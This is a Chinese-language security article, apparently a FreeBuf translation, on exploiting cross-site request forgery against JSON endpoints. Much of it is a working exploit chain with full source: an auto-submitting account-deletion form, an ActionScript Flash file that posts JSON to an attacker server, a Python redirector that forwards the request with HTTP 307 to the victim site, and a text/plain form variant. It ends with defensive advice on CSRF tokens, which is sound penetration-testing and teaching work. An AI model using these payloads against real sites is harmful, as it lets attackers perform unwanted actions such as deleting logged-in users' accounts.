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如何在JSON端点上利用CSRF漏洞

2018-03-14 13:00:45

（CSRF + Flash + HTTP 307）=别说了，你已经“死”了！

如果你想通过第三方攻击者控制的服务器在JSON端点利用一个CSRF漏洞的话，我给大家推荐一个名叫json-flash-csrf-poc的GitHub项目【下载地址】。

背景故事

在近期的一次渗透测试过程中，我们不仅发现了几个业务逻辑漏洞、XSS漏洞以及不安全的直接对象引用漏洞，而且还发现了一些跨站请求伪造（CSRF）漏洞。在我们所发现的漏洞中，有一个存在于JSON端点中的CSRF漏洞，这个端点可以接收JSON格式的POST body。如果要利用这个漏洞的话，我们需要发送自定义Content-Type头并附带POST body，但标准的JavaScript/HTML不支持这种类型的请求。在使用XMLHttpRequest时，按照CORS规范，自定义Header将调用一个预检请求。接下来在这篇文章中，我们将告诉大家如何来利用这个CSRF漏洞。

利用CSRF漏洞时遇到的问题

CSRF漏洞对于攻击者来说，作用是非常大的。如果一个网站存在CSRF漏洞，那么无论请求的来源是哪，该漏洞都可以自动利用浏览器的功能来发送认证令牌，而且服务器和应用程序默认情况下并不会区分请求的来源。

比如说，下面这个简单的PoC利用的就是CSRF漏洞，它可以通过一个POST表单来调用账号删除功能：

<html>
 <body onload=myform.submit()>
  <form action="/userdelete"method="POST" name="myform">
   <input type="hidden"id="acctnum" name="acctnum" value="100">
   <input type="hidden"id="confirm" name="confirm" value="true">
  </form>
 </body>
</html>

当一个已登录的用户浏览这个恶意页面时（使用同一浏览器，且认证会话处于活跃状态），该页面将会通过一个POST请求来触发该功能。由于浏览器默认会发送认证令牌，该功能将会在服务器端被触发，并完成攻击。

需要注意的是，该请求中的Content-Type头被设置成了application/x-www-form-urlencoded，因为服务器需要接收URL编码后的HTML表单数据。

那我们为何不能使用这个PoC来利用JSON端点中的CSRF呢？原因如下：

1. POSTbody需要以JSON格式发送，而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2. Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests，而它还会向服务器端发送OPTIONS预检请求。

Flash和重定向

AdobeFlash可以让Web页面向用户请求使用ActionScript，而ActionScript同样可以用来设置Web请求的自定义Header。除非远程站点上存在有效的crossdomain.xml文件，否则Flash不会向不同来源的服务器发送带有自定义Header的请求。

为了完全避免跨域文件的影响，我们使用Flash来向Flash文件所在的同一服务器发送请求（带有我们的POST Payload），并获取另一份文件。这个文件将作为重定向器并发送HTTP状态码307。307跟其他3XX HTTP状态码之间的区别就在于，HTTP 307可以确保重定向请求发送之后，请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL，并完成攻击。

内容整合

为了设计出最终的PoC，我们先来看一看存在漏洞的JSON端点和相关要求：

1. /userdelete端点所能接受的请求Header需要是application/json。

2. 存在漏洞的端点需要发送下列JSON数据：

{"acctnum":"100","confirm":"true"}

攻击者设置

攻击者的服务器由以下组件和通信流组成：

1. 当目标用户在浏览器中下载并运行了攻击者所托管的Flash文件后，恶意文件将会向攻击者的服务器（重定向器）发送HTTP POST请求。

2. 重定向器脚本会在响应信息（Location头）中返回一个HTTP 307状态码。

3. 接下来，目标用户的浏览器会像最终的URL发送另一个带有HTTP头的POST请求，并完成攻击。

创建csrf.swf文件

为了创建能够发送Web请求的csrf.swf文件，我们需要按照以下步骤操作：

1. 安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM，这一步可以安装32位JDK来完成。

2. 创建一个包含下列ActionScript代码的text文件，文件名为csrf.as。

3. 获取托管Flash文件的主机系统（攻击者的服务器）IP地址/域名，并替换掉代码中的<attacker-ip>。

4. 运行“mxmlc csrf.as”命令，将该文件编译为csrf.swf。

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
public class csrf extends Sprite
  {
   public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 = {
          "acctnum":"100",
          "confirm":"true"
      };
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String ="http://attacker-ip:8000/";
      var request:URLRequest = newURLRequest(url);
      request.requestHeaders.push(newURLRequestHeader("Content- Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = newURLLoader();
try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

创建Web服务器

服务器的基本功能就是托管csrf.swf文件，并且在收到其他HTTP流量时发送307重定向，我们可以使用Python的BaseHTTPServer模块来实现。

1. 创建一个包含了下列代码的Python文件，文件名为pyserver.py。

2. 这份Python代码就是我们托管csrf.swf的Web服务器，它可以向http://victim-site/userdelete端点发送HTTP 307重定向。

3. 通过命令“python pyserver.py”运行Web服务器。

import BaseHTTPServer
import time
import sys
   
HOST= '' 
PORT= 8000
   
classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  def do_POST(s):
    if s.path == '/csrf.swf':
      s.send_response(200)
     s.send_header("Content-Type","application/x-shockwave-flash")
      s.end_headers()
      s.wfile.write(open("csrf.swf","rb").read())
      return 
    s.send_response(307)
    s.send_header("Location","http://victim-site/userdelete")
    s.end_headers()
  def do_GET(s):
    print(s.path)
    s.do_POST()
   
if__name__ == '__main__':
  server_class = BaseHTTPServer.HTTPServer
  httpd = server_class((HOST,PORT),RedirectHandler)
  print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)
  try:
    httpd.serve_forever()
  except KeyboardInterrupt:
    pass
  httpd.server_close()
  print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT)

注：我们在创建这个HTTP重定向服务器时，参考了这个【GitHub库】的代码。

PoC工作流程

下面给出的是攻击的整个过程，其中目标用户的浏览器必须启用Flash：

1. 用户在浏览器中登录http://victim-site/。

2. 用户被重定向到http://attacker-ip:8000/csrf.swf。

3. Flash文件加载成功，并向http://attacker-ip:8000/发送带有自定义Header的POST Payload。

4. 攻击者的服务器发送HTTP 307重定向，这样便能让POST响应body和自定义HTTP头按原样发送到 http://victim-site/。

5. 目标用户刷新自己的 http://victim-site/ 页面，并发现自己的帐户已经被删除了。

其他的想法

这里我们必须要使用到一份Flash文件以及307重定向器，因为服务器端会验证请求的Content-Type是否为application/json。如果服务器没有进行这种检测，那我们就可以利用JavaScript来创建一个HTTP元素属性，并用下面的代码生成和发送POST请求：

<html>
 <body>
  <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain"action="https://victim-site/userdelete" method="POST">
   <input id="json"type="hidden" name='json' value='test"}'>
  </form>
<script>
  $(document).ready(function() {
 $("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"');
  $("#myform").submit();
  });
 </script>
</body>
</html>

当然了，你也可以使用Fetch_API来发送JSON POST请求并完成攻击。

总结

CSRF漏洞其实是非常危险的，某些开发人员会通过设置Content-Type来实现必要的安全保护，但是大家可以从本文中了解到，这种方法是可以轻松绕过的。

实际上这就跟开发应用程序是一样的，即“所有的用户输入都是不可信的”。开发人员不应该仅凭请求头、源地址或referer来决定服务器端的运行策略。正确的CSRF防御方法，就是在请求中使用强度足够高的随机令牌，这样一来，服务器端就可以确定请求发送方的真实身份了。除此之外，应用程序中的任何XSS漏洞都可以被攻击者所利用并绕过CSRF保护，因为攻击者可以利用JavaScript来读取页面DOM的内容，并从中提取出CSRF令牌。

OWASP提供了很多关于CSRF漏洞防御的内容，感兴趣的同学可以访问阅读【传送门】。

* 参考来源：appsecco，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM

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